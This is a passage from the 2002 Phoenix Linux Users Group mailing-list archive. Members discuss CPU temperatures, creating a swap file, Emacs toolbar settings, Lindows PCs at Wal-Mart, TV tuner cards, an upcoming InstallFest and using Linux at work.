218kbps > > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > > > (As you can see, I also incorporated tracking network traffic from a > > previous thread as well. This script is located on my web site.) > > > > I then ran the machine ragged playing an AVI movie in full-screen mode > > for over 1.5 hours. The CPU temperature reached 127F and held steady. > > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > > like reasonable values? Obviously, cooler is better, but I don't have > > $200 for a liquid cooling system. > > > > Thanks in advance. > > > > George > > > > -- > > If you feel you have received a virus from me, please read > > http://www.georgetoft.com/virus.html > > because it wasn't me! > > -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -------------------------------------------------------------------- > > mail2web - Check your email from the web at > > http://mail2web.com/ . > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:44:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:44:36 -0700 Subject: PLUG on Slashdot References: Message-ID: <009e01c2162f$07cb6780$6501a8c0@drghastly> As some comments from /. have been said, all they have to do is go through a M$ recognized vendor ( hence..3rd party) to use the same type of software. Also, considering that the COP and Maricopa County are the largest employers for the state of AZ, I highly doubt they want to go through the retraining fees it would cost to retrain all those people to use the new software. Your talking about a LOT of $$, $$ that is coming out of my pocket as a taxpayer, and more importantly, the other 3.9 million+ taxpayers who (Read: people over 60's usually) will vote that down if neccessary, or complain enough that it will probably not go through.. So I'm on the fence with that one. It should be one step at a time. ----- Original Message ----- From: "Tom Emerson" To: Sent: Monday, June 17, 2002 11:31 AM Subject: Re: PLUG on Slashdot > Perhaps the Arizona Center for Law in the Public Interest would have > something to say about enforcement of current policy and law? > > http://www.aclpi.org/ > > They have a bit of a reputation fighting for enforcement of ignored laws... > > ---------------------------- > > On Mon, 17 Jun 2002, Matt Alexander wrote: > > I just noticed on Slashdot this morning that we're featured in regards to > the Maricopa County thread: > > http://slashdot.org > > ________________________________________________ > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:52:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 12:52:19 -0700 (MST) Subject: InstallFest Message-ID: I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) ------------------------------------------------------------------------------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / ------------------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:36:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 17 Jun 2002 12:36:15 -0700 Subject: virtual memory hogging problem... Message-ID: <3D0E3A2F.783591E5@leml.asu.edu> got a virtual memory problem... The situation: I have a spatially explitit and interactive model which is coulpled to a MIMD virtual machine running other (simple unit models)... The problem is that when I load the thing up for the simulation I am currently playing with I now pop the top of my virtual memory (I only have 156MB RAM and 1.5GB swap, and need about 2 to 4 times that). Looking for solutions I thought of tmpfs, but realized that it creates/mouns a file system on swap. Is there any other way you'all know how to set up a file-based swap so I can throw a couple more gig at swap without having to dedicate another partition perminately? If I had it all to do over again I would have built a real distributed virtual machine, etc... not time for that now. If anyone can point me to how to create a file on a partition and use that for swap space, or any other solution which comes to mind I would be most appreciative... EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:03:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 13:03:59 -0700 Subject: InstallFest In-Reply-To: References: Message-ID: <02061713035927.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cool machines doing cool stuff are highly encouraged. On Monday 17 June 2002 12:52, you wrote: > I just got myself back on this list after finding out for some reason I > got knocked off it. > > AND, on top of that, I just found out there's going to be an InstallFest > this comming Saturday. > > I can bring over my Black-Thunder box that has a TV card in it that I > would LOVE to show it off!!!! :) Just tell me where to connect it to a TV > plug or if not, I can bring along my VCR and tapes. Also it got a DVD > drive that I can show DVDs on it too! Heck, I just may bring over both > boxes that I got. :) > > > --------------------------------------------------------------------------- >---- Jonathan Claxton __ __ ____ ___ > ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ > / /_ / / / \ / / / / /__ / \/ /___ / > --------------------------------------------------------------------------- >---- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ5Arysk3ywszI1FEQJgpACfZWtcQXzXCPfZH5W0WPn4ppqBW9gAoM0N nLJgTBqjoToin4b0KW7a7UKv =INK/ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:10:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 16:10:11 -0400 Subject: InstallFest Message-ID: You mean you don't have a DVD drive in your box? While on this subject, who uses Mplayer for DVDs, and have you gotten the dvd menus to work right yet? Original Message: ----------------- From: Jonathan Claxton jzc@primenet.com Date: Mon, 17 Jun 2002 12:52:19 -0700 (MST) To: plug-discuss@lists.plug.phoenix.az.us Subject: InstallFest I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) ------------------------------------------------------------------------------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / ------------------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:12:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 13:12:41 -0700 Subject: virtual memory hogging problem... In-Reply-To: <3D0E3A2F.783591E5@leml.asu.edu> References: <3D0E3A2F.783591E5@leml.asu.edu> Message-ID: <200206171312.47372.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 12:36 pm, John (EBo) David wrote: > If anyone can point me to how to create a file on a partition and use > that for swap space, or any other solution which comes to mind I would > be most appreciative... Everything is a file in Unix. dd if=/dev/zero of=file count=1500000 mkswap file swapon file - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DkK9pNoctRtUIRQRAlcbAJ9aW9CsAPGycXYnleIHLoogU1mvdACcCcQt 37Tkj44qzItOiSAbJtLFN3s= =62sr -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Mon, 17 Jun 2002 13:27:50 -0700 Subject: Lindows Message-ID: <3D0E4646.2000904@qwest.net> Hey folks, Just wondering if anyone has heard anything about Lindows? Just read on cnet that Wal-Mart is selling Micron PCs with it pre-installed. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:34:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 13:34:09 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <1024243844.12004.23.camel@nabla.phx.viz> References: <1024243844.12004.23.camel@nabla.phx.viz> Message-ID: <200206171334.15485.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: > Is anyone else annoyed by the new GUI menu bar that emacs now places > right under the text menu bar on a stock installation of Redhat 7.3? Not annoyed, but I do not find it pleasing. > I have looked for a way to remove it, but have been unsuccessful so > far. If anyone could tell me the magic incantation configuration > setting that needs to be invoked, I would be very grateful. I really > want that space back to display information. I just tried M-x tool-bar-mode and that seems to work. If you don't like the scroll bar, then you could use M-x scroll-bar-mode to recover some more space. Any suggestions on how to change the type of scroll-bar used so that it doesn't use the GTK tool set (i.e. make it look like the old one)? - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DkfGpNoctRtUIRQRAoK/AKCLiW+HoUJ2yklYAaWcfT+uNhuwawCeNu21 F+LAwlE3cixaZdrjlMte6gI= =oaxJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:36:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 13:36:24 -0700 (PDT) Subject: Lindows In-Reply-To: <3D0E4646.2000904@qwest.net> Message-ID: Yup. Only $299. http://www.walmart.com/catalog/product.gsp?product_id=1870914 On Mon, 17 Jun 2002, Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Mon, 17 Jun 2002 13:34:51 -0700 (PDT) Subject: Lindows In-Reply-To: <3D0E4646.2000904@qwest.net> Message-ID: <20020617203456.96981.qmail@web13406.mail.yahoo.com> --- Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about > Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it > pre-installed. > Ray > malbojia@qwest.net I was looking at the Lindows site and it didn't seem like it was officially out yet. I see a sneak preview version but this can't be what Walmart is bundling is it? Do you also have to pay the $99 dollar Lindows subscription fee every year? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:49:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Mon, 17 Jun 2002 13:49:33 -0700 Subject: items for sale In-Reply-To: <20020617175809.GA27125@aries.evilmascot.com> References: <5.1.0.14.0.20020616181121.00acd7f0@localhost> <5.1.0.14.0.20020616181121.00acd7f0@localhost> Message-ID: <5.1.0.14.0.20020617132644.04e50a90@localhost> I was hoping near to $100. Would you pay $75? Kimi At 6/17/02, you wrote: >Eh, how much were you thinking for the 1600? I've got $50. >-Kyle > >On Sun, Jun 16, 2002 at 06:23:36PM -0700, Kimi A. Adams wrote: > > Although I have updated my ad on www.forsale.unitywave.com, it doesn't > > allow for the amount of items that I have to list. > > > > So here is the list: http://www.unitywave.com/~office/index.html it's in > > a decent printable form as well for those that want to print it. > > > > Call me with offers. Can someone please come get the whole lot? Pricing > > is pretty rock bottom, but I will take $225 for the whole lot. We do not > > deliver. I need the space in the next month, so if we cannot sell it > here, > > it might be at the next swap meet or a garage sale in September. > > > > Kimi Adams > > Unity Wave > > 602-375-5363 > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:57:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Mon, 17 Jun 2002 13:57:16 -0700 Subject: InstallFest In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I also have a machine with a TV Tuner that I am bringing to the InstallFest, it's currently running Win2k. I'd be interested to know what software you use to view the Capture from your TV card? Are there any alternatives? What options does it support (recording, scheduling, etc...) "The difference between 'involvement' and 'commitment' is like an eggs-and-ham breakfast: the chicken was 'involved' - the pig was 'committed'." -- unknown matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jonathan Claxton Sent: Monday, June 17, 2002 12:52 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: InstallFest I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) - ---------------------------------------------------------------------- - --------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / - ---------------------------------------------------------------------- - --------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQ5NK44p6zlv2o83EQI9CgCcDbQjMO5zmldcyQXaRxtoWgHdtDsAn2FL UJm7YpW2PFqvFtr+z9sDJnD8 =cOXJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:15:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 14:15:08 -0700 Subject: Lindows Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Also check out slashdot. They have links to how to get Linux running on these machines. Larry -----Original Message----- From: Matt Alexander [mailto:m@netpro.to] Sent: Monday, June 17, 2002 1:36 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Lindows Yup. Only $299. http://www.walmart.com/catalog/product.gsp?product_id=1870914 On Mon, 17 Jun 2002, Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Mon, 17 Jun 2002 21:08:14 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <009e01c2162f$07cb6780$6501a8c0@drghastly> Message-ID: On Mon, 17 Jun 2002, Dr.G wrote: > As some comments from /. have been said, all they have to do is go through a > M$ recognized vendor ( hence..3rd party) to use the same type of software. Not necessarily. It also states that the County cannot enter into a contract with companies who have acted in that fashion.. and since Microsoft's click-through is, technically, a contract... From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:21:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:21:47 -0700 Subject: PLUG on Slashdot References: Message-ID: <00db01c21644$fccf81c0$6501a8c0@drghastly> Not when it is OEM I believe. ----- Original Message ----- From: "C. Sullivan" To: Sent: Monday, June 17, 2002 2:08 PM Subject: Re: PLUG on Slashdot > > > On Mon, 17 Jun 2002, Dr.G wrote: > > > As some comments from /. have been said, all they have to do is go through a > > M$ recognized vendor ( hence..3rd party) to use the same type of software. > > Not necessarily. It also states that the County cannot enter into a > contract with companies who have acted in that fashion.. and since > Microsoft's click-through is, technically, a contract... > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:24:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:24:47 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Message-ID: <00ef01c21645$67e99130$6501a8c0@drghastly> Uh, Lindows IS Linux. :) ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:30:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:30:59 -0700 Subject: Lindows References: <3D0E4646.2000904@qwest.net> Message-ID: <002401c21646$47bc9be0$0301010a@tickticker.com> Heard about it? I run it. yes i sprang for the $99 dollars! it is Coooool! just downloaded the latest preview release, haven't burned it to disk but the technology is VERY promising IMHO. Anthony ----- Original Message ----- From: "Raymond Cantwell" To: Sent: Monday, June 17, 2002 1:27 PM Subject: Lindows > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:33:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:33:55 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Message-ID: <003401c21646$af01d590$0301010a@tickticker.com> it is running linux. it just has a c/ drive buried in the directory structure. It's either based on suse or debian (i think, i could look it up again if anyone is interested. Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:32:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 14:32:27 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> Message-ID: <002b01c21646$7abaf5f0$0301010a@tickticker.com> > I was looking at the Lindows site and it didn't seem > like it was officially out yet. AFAIK it's not but will be shortly I see a sneak preview > version but this can't be what Walmart is bundling is > it? I don't believe it's in stores but it is orderable. get yours now in one to 2 months! Do you also have to pay the $99 dollar Lindows > subscription fee every year? no > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:19:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 15:19:53 -0700 (MST) Subject: InstallFest In-Reply-To: Message-ID: On Mon, 17 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I also have a machine with a TV Tuner that I am bringing to the > InstallFest, it's currently running Win2k. I'd be interested to know > what software you use to view the Capture from your TV card? Are > there any alternatives? What options does it support (recording, > scheduling, etc...) > Welll... I only use my tv card just to watch the programs. I use a simple TV viewer program called TVSet. I also have a another program that displays the Closed Caption text as it comes out from the channel I'm watching in a terminal window. Doing all this on my Black Thunder box running Gentoo dist system and the 2.4.18 kernel that I just installed this past weekend. Just wondering but what tv card you got? Me I got a Hauppauge TV card "WinTV" I belive it's called. jzc From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:42:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Mon, 17 Jun 2002 14:42:31 -0700 Subject: linux at work Message-ID: <200206172234.g5HMYo226440@PlugList.MyButt.Net> This is more of a report that either a question or an answer. Fairly long. I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years off and on, but this is new for me as at home I can do what ever I want and at work, I have tasks assigned to me that must get done in a timley manner in the way the "boss" wants. I am pleased to report that linux has met the challange and in fact in some ways is easier and more versitile than the other OS I've been forced to use. I have to have word processing and spread sheet available, for which I am using open office 1.0. I am using Opera for a browser, but I think I will change to Mozilla. Konquerer doesn't seem to work on one of out internal sites. One problem with opera though is that I have several groups of tasks. Each group requires several programs, including at times 3 or 4 browser windows. I can use virtual desktops to segregate the task groupings, which has worked out well, but opera presents a problem as all the opera windows are opening in the same window. If I used Mozilla, could I open a Mozilla session in a virtual window and then keeping that session there, open 1 or more sessions in another window? Enough rambling for now. If there is any interest I'll keep up the reports of using linux as a desktop in the workplace. Charlie From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:37:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:37:49 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> <003401c21646$af01d590$0301010a@tickticker.com> Message-ID: <010301c21647$3a70b830$6501a8c0@drghastly> It's based on Debian. ----- Original Message ----- From: "tickticker" To: Sent: Monday, June 17, 2002 2:33 PM Subject: Re: Lindows > it is running linux. it just has a c/ drive buried in the directory > structure. It's either based on suse or debian (i think, i could look it up > again if anyone is interested. > > Anthony > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 2:15 PM > Subject: RE: Lindows > > > > Also check out slashdot. They have links to how to get Linux running on > these machines. > > > > Larry > > > > -----Original Message----- > > From: Matt Alexander [mailto:m@netpro.to] > > Sent: Monday, June 17, 2002 1:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Lindows > > > > > > Yup. Only $299. > > > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > > > Hey folks, > > > Just wondering if anyone has heard anything about Lindows? Just read on > > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > > Ray > > > malbojia@qwest.net > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > 